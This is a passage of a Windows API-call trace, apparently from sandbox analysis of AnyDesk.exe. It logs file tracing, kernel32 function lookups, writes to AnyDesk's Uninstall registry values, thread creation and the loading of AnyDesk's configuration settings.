hHeap=0x3b0000) returned 1 [0189.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3bf370 [0189.770] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\ad_svc.trace" (normalized: "c:\\programdata\\anydesk\\ad_svc.trace"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x144 [0189.773] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.773] WriteFile (in: hFile=0x144, lpBuffer=0x32633c*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x326338, lpOverlapped=0x0 | out: lpBuffer=0x32633c*, lpNumberOfBytesWritten=0x326338*=0x26, lpOverlapped=0x0) returned 1 [0189.774] GetLastError () returned 0x0 [0189.774] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x400) returned 0x3bfae8 [0189.775] GetLastError () returned 0x0 [0189.775] SetLastError (dwErrCode=0x0) [0189.775] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0189.775] GetSystemTime (in: lpSystemTime=0x3262ec | out: lpSystemTime=0x3262ec*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0x97)) [0189.775] GetCurrentThreadId () returned 0x998 [0189.775] GetCurrentProcessId () returned 0x994 [0189.775] GetLastError () returned 0x0 [0189.775] SetLastError (dwErrCode=0x0) [0189.775] GetLastError () returned 0x0 [0189.775] SetLastError (dwErrCode=0x0) [0189.775] GetLastError () returned 0x0 [0189.775] SetLastError (dwErrCode=0x0) [0189.775] GetLastError () returned 0x0 [0189.775] SetLastError (dwErrCode=0x0) [0189.775] GetLastError () returned 0x0 [0189.775] SetLastError (dwErrCode=0x0) [0189.775] GetLastError () returned 0x0 [0189.775] SetLastError (dwErrCode=0x0) [0189.775] GetLastError () returned 0x0 [0189.775] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.776] GetLastError () returned 0x0 [0189.776] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.777] GetLastError () returned 0x0 [0189.777] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.778] GetLastError () returned 0x0 [0189.778] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.779] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.779] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.779] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.779] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.779] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.779] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.779] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.779] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.779] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.779] SetLastError (dwErrCode=0x0) [0189.779] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.780] SetLastError (dwErrCode=0x0) [0189.780] GetLastError () returned 0x0 [0189.781] SetLastError (dwErrCode=0x0) [0189.781] GetLastError () returned 0x0 [0189.781] SetLastError (dwErrCode=0x0) [0189.781] GetLastError () returned 0x0 [0189.781] SetLastError (dwErrCode=0x0) [0189.781] GetLastError () returned 0x0 [0189.832] SetLastError (dwErrCode=0x0) [0189.832] GetLastError () returned 0x0 [0189.832] SetLastError (dwErrCode=0x0) [0189.832] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.833] SetLastError (dwErrCode=0x0) [0189.833] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.834] SetLastError (dwErrCode=0x0) [0189.834] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.835] GetLastError () returned 0x0 [0189.835] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.836] GetLastError () returned 0x0 [0189.836] SetLastError (dwErrCode=0x0) [0189.837] GetLastError () returned 0x0 [0189.838] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1) returned 0x3bf360 [0189.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x3bf360, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0189.838] GetLastError () returned 0x0 [0189.838] GetSystemTime (in: lpSystemTime=0x3262d8 | out: lpSystemTime=0x3262d8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0xd6)) [0189.839] GetCurrentThreadId () returned 0x998 [0189.839] GetCurrentProcessId () returned 0x994 [0189.839] GetLastError () returned 0x0 [0189.839] GetSystemTime (in: lpSystemTime=0x3262e8 | out: lpSystemTime=0x3262e8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0xd6)) [0189.839] GetCurrentThreadId () returned 0x998 [0189.839] GetCurrentProcessId () returned 0x994 [0189.839] GetLastError () returned 0x0 [0189.839] GetSystemTime (in: lpSystemTime=0x3262e8 | out: lpSystemTime=0x3262e8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0xd6)) [0189.839] GetCurrentThreadId () returned 0x998 [0189.839] GetCurrentProcessId () returned 0x994 [0189.839] GetLastError () returned 0x0 [0189.840] GetSystemTime (in: lpSystemTime=0x3262e4 | out: lpSystemTime=0x3262e4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0xd6)) [0189.840] GetCurrentThreadId () returned 0x998 [0189.840] GetCurrentProcessId () returned 0x994 [0189.840] GetLastError () returned 0x0 [0189.840] GetSystemTime (in: lpSystemTime=0x3262e8 | out: lpSystemTime=0x3262e8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0xd6)) [0189.840] GetCurrentThreadId () returned 0x998 [0189.840] GetCurrentProcessId () returned 0x994 [0189.841] GetLastError () returned 0x0 [0189.841] GetSystemTime (in: lpSystemTime=0x3262ec | out: lpSystemTime=0x3262ec*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0xd6)) [0189.841] GetCurrentThreadId () returned 0x998 [0189.841] GetCurrentProcessId () returned 0x994 [0189.841] GetLastError () returned 0x0 [0189.841] GetSystemTime (in: lpSystemTime=0x36e52c | out: lpSystemTime=0x36e52c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0xd6)) [0189.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a171ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0189.841] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bd690 [0189.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a171ec, cbMultiByte=-1, lpWideCharStr=0x3bd690, cchWideChar=10 | out: lpWideCharStr="Windows 7") returned 10 [0189.841] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x752b0000 [0189.841] GetProcAddress (hModule=0x752b0000, lpProcName="GetNativeSystemInfo") returned 0x752d106d [0189.841] GetProcAddress (hModule=0x752b0000, lpProcName="IsWow64Process") returned 0x752c193e [0189.842] GetProcAddress (hModule=0x752b0000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x753444e9 [0189.842] GetProcAddress (hModule=0x752b0000, lpProcName="ProcessIdToSessionId") returned 0x752c1275 [0189.842] GetProcAddress (hModule=0x752b0000, lpProcName="GetCurrentProcessId") returned 0x752c11f8 [0189.842] GetProcAddress (hModule=0x752b0000, lpProcName="GetProcessId") returned 0x752ecef4 [0189.842] GetProcAddress (hModule=0x752b0000, lpProcName="GetLogicalProcessorInformation") returned 0x75344d01 [0189.842] GetProcAddress (hModule=0x752b0000, lpProcName="LoadLibraryW") returned 0x752c48e3 [0189.842] GetProcAddress (hModule=0x752b0000, lpProcName="GetProcAddress") returned 0x752c1222 [0189.842] GetProcAddress (hModule=0x752b0000, lpProcName="FreeLibrary") returned 0x752c3478 [0189.842] GetProcAddress (hModule=0x752b0000, lpProcName="InitializeSRWLock") returned 0x76f38456 [0189.843] GetProcAddress (hModule=0x752b0000, lpProcName="AcquireSRWLockExclusive") returned 0x76f329f1 [0189.843] GetProcAddress (hModule=0x752b0000, lpProcName="AcquireSRWLockShared") returned 0x76f32560 [0189.843] GetProcAddress (hModule=0x752b0000, lpProcName="ReleaseSRWLockExclusive") returned 0x76f329ab [0189.843] GetProcAddress (hModule=0x752b0000, lpProcName="ReleaseSRWLockShared") returned 0x76f325a9 [0189.843] GetProcAddress (hModule=0x752b0000, lpProcName="TryAcquireSRWLockExclusive") returned 0x76f44892 [0189.843] GetProcAddress (hModule=0x752b0000, lpProcName="TryAcquireSRWLockShared") returned 0x76fa8162 [0189.843] GetProcAddress (hModule=0x752b0000, lpProcName="GetTickCount64") returned 0x752deeb0 [0189.843] GetProcAddress (hModule=0x752b0000, lpProcName="SetFileInformationByHandle") returned 0x752ecbec [0189.843] GetProcAddress (hModule=0x752b0000, lpProcName="GetModuleFileNameExW") returned 0x0 [0189.844] GetProcAddress (hModule=0x752b0000, lpProcName="K32GetModuleFileNameExW") returned 0x752eb21b [0189.844] GetCurrentProcess () returned 0xffffffff [0189.844] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x3262f8 | out: Wow64Process=0x3262f8*=1) returned 1 [0189.844] FreeLibrary (hLibModule=0x752b0000) returned 1 [0189.844] GetCurrentProcessId () returned 0x994 [0189.844] GetLastError () returned 0x0 [0189.844] GetSystemTime (in: lpSystemTime=0x3262d4 | out: lpSystemTime=0x3262d4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0xe5)) [0189.844] GetCurrentThreadId () returned 0x998 [0189.844] GetCurrentProcessId () returned 0x994 [0189.844] GetLastError () returned 0x0 [0189.844] GetSystemTime (in: lpSystemTime=0x3262bc | out: lpSystemTime=0x3262bc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x13, wMilliseconds=0xe5)) [0189.844] GetCurrentThreadId () returned 0x998 [0189.844] GetCurrentProcessId () returned 0x994 [0189.844] GetLastError () returned 0x0 [0189.844] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20019, phkResult=0x325e90 | out: phkResult=0x325e90*=0x178) returned 0x0 [0189.845] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf898 | out: hHeap=0x3b0000) returned 1 [0189.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3bf370 [0189.845] RegQueryValueExW (in: hKey=0x178, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x325e58, lpData=0x0, lpcbData=0x325e5c*=0x0 | out: lpType=0x325e58*=0x1, lpData=0x0, lpcbData=0x325e5c*=0x32) returned 0x0 [0189.845] RegQueryValueExW (in: hKey=0x178, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x0, lpData=0x325e10, lpcbData=0x325e5c*=0x34 | out: lpType=0x0, lpData=0x325e10*=0x22, lpcbData=0x325e5c*=0x32) returned 0x0 [0189.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0x3bf7f8 [0189.845] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.845] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0x3bf898 [0189.845] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf7f8 | out: hHeap=0x3b0000) returned 1 [0189.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0189.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bf370 [0189.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15dad60, cbMultiByte=-1, lpWideCharStr=0x3bf370, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0189.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0x3bf7f8 [0189.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0x3bf8d0 [0189.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf898 | out: hHeap=0x3b0000) returned 1 [0189.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf7f8 | out: hHeap=0x3b0000) returned 1 [0189.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3bf370 [0189.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3bf360 [0189.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0x3bf380 [0189.846] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x323e54, nSize=0x1000 | out: lpFilename="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe")) returned 0x22 [0189.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0x3bf7f8 [0189.846] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0x3bf898 [0189.846] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0x3bd690 [0189.847] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.847] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0x3be180 [0189.847] GetLastError () returned 0x0 [0189.847] PathCanonicalizeW (in: pszBuf=0x3260c0, pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" | out: pszBuf="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0189.847] GetLastError () returned 0x0 [0189.847] RegCloseKey (hKey=0x178) returned 0x0 [0189.847] GetLastError () returned 0x0 [0189.848] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20006, phkResult=0x3262f8 | out: phkResult=0x3262f8*=0x178) returned 0x0 [0189.848] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf898 | out: hHeap=0x3b0000) returned 1 [0189.848] RegSetValueExW (in: hKey=0x178, lpValueName="DisplayName", Reserved=0x0, dwType=0x1, lpData="AnyDesk", cbData=0x10 | out: lpData="AnyDesk") returned 0x0 [0189.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0189.848] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0x3bf360 [0189.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9c5c, cbMultiByte=-1, lpWideCharStr=0x3bf360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0189.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0x3bf370 [0189.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0x3bf380 [0189.849] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c152c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0189.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0x3bf028 [0189.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c152c, cbMultiByte=-1, lpWideCharStr=0x3bf028, cchWideChar=6 | out: lpWideCharStr="7.0.7") returned 6 [0189.849] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0x3bd690 [0189.849] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf028 | out: hHeap=0x3b0000) returned 1 [0189.849] RegSetValueExW (in: hKey=0x178, lpValueName="DisplayVersion", Reserved=0x0, dwType=0x1, lpData="ad 7.0.7", cbData=0x12 | out: lpData="ad 7.0.7") returned 0x0 [0189.849] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd690 | out: hHeap=0x3b0000) returned 1 [0189.849] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.849] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.849] RegSetValueExW (in: hKey=0x178, lpValueName="VersionMajor", Reserved=0x0, dwType=0x4, lpData=0x3262f4*=0x7, cbData=0x4 | out: lpData=0x3262f4*=0x7) returned 0x0 [0189.849] RegSetValueExW (in: hKey=0x178, lpValueName="VersionMinor", Reserved=0x0, dwType=0x4, lpData=0x3262f4*=0x0, cbData=0x4 | out: lpData=0x3262f4*=0x0) returned 0x0 [0189.849] RegSetValueExW (in: hKey=0x178, lpValueName="VersionBuild", Reserved=0x0, dwType=0x4, lpData=0x3262f4*=0x7, cbData=0x4 | out: lpData=0x3262f4*=0x7) returned 0x0 [0189.850] RegSetValueExW (in: hKey=0x178, lpValueName="VersionTimestamp", Reserved=0x0, dwType=0xb, lpData=0x326310*=0x1263e8c2a8e0, cbData=0x8 | out: lpData=0x326310*=0x1263e8c2a8e0) returned 0x0 [0189.850] RegCloseKey (hKey=0x178) returned 0x0 [0189.850] GetCurrentProcess () returned 0xffffffff [0189.850] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x32633c | out: TokenHandle=0x32633c*=0x178) returned 1 [0189.850] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0x14, TokenInformation=0x326308, TokenInformationLength=0x4, ReturnLength=0x32630c | out: TokenInformation=0x326308, ReturnLength=0x32630c) returned 1 [0189.850] CloseHandle (hObject=0x178) returned 1 [0189.850] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x178 [0189.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x143ee60, lpParameter=0x36e494, dwCreationFlags=0x4, lpThreadId=0x36e4a8 | out: lpThreadId=0x36e4a8*=0xa00) returned 0x17c [0189.851] ResumeThread (hThread=0x17c) returned 0x1 [0189.851] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0189.914] CloseHandle (hObject=0x178) returned 1 [0189.914] GetCurrentProcess () returned 0xffffffff [0189.914] GetProcessId (Process=0xffffffff) returned 0x994 [0189.914] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x326334, lpExitTime=0x32632c, lpKernelTime=0x32632c, lpUserTime=0x32632c | out: lpCreationTime=0x326334, lpExitTime=0x32632c, lpKernelTime=0x32632c, lpUserTime=0x32632c) returned 1 [0189.914] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x43) returned 0x3bf7f8 [0189.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0x3bf898 [0189.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3bf028 [0189.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bd690 [0189.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x18a3a80, cbMultiByte=19716, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19716 [0189.915] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x9a0a) returned 0xe00048 [0189.916] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x18a3a80, cbMultiByte=19716, lpWideCharStr=0xe00048, cchWideChar=19717 | out: lpWideCharStr="ad.debug.fuzz=false\nad.debug.dump_sent_keys=false\nad.debug.dump_rcvd_keys=false\nad.debug.dump_inject_keys=false\nad.trace.level=0\nad.ui.lang=\nad.ui.lang.auto=true\nad.ui.alias_or_id=false\nad.ui.maximize_type=false\nad.ui.comment_session=true\nad.ui.debug=false\nad.ui.main_win.x=0\nad.ui.main_win.y=0\nad.ui.main_win.width=0\nad.ui.main_win.height=0\nad.ui.main_win.max=false\nad.ui.inst_info_count=3\nad.ui.install.new_update=\nad.ui.show_beta=false\nad.ui.show_powered_by=false\nad.ui.show_philandro_logo=true\nad.ui.show_invite=true\nad.ui.show_connect_group=true\nad.ui.show_tile.install_anydesk=true\nad.ui.show_tile.whats_new=1\nad.ui.show_tile.password=1\nad.woa.devices=\nad.ui.auto_hide_nubsi=true\nad.ui.cfg_enabled=true\nad.ui.cfg_enable_input=true\nad.ui.cfg_enable_interface=true\nad.ui.cfg_enable_security=true\nad.ui.cfg_enable_privacy=true\nad.ui.cfg_enable_v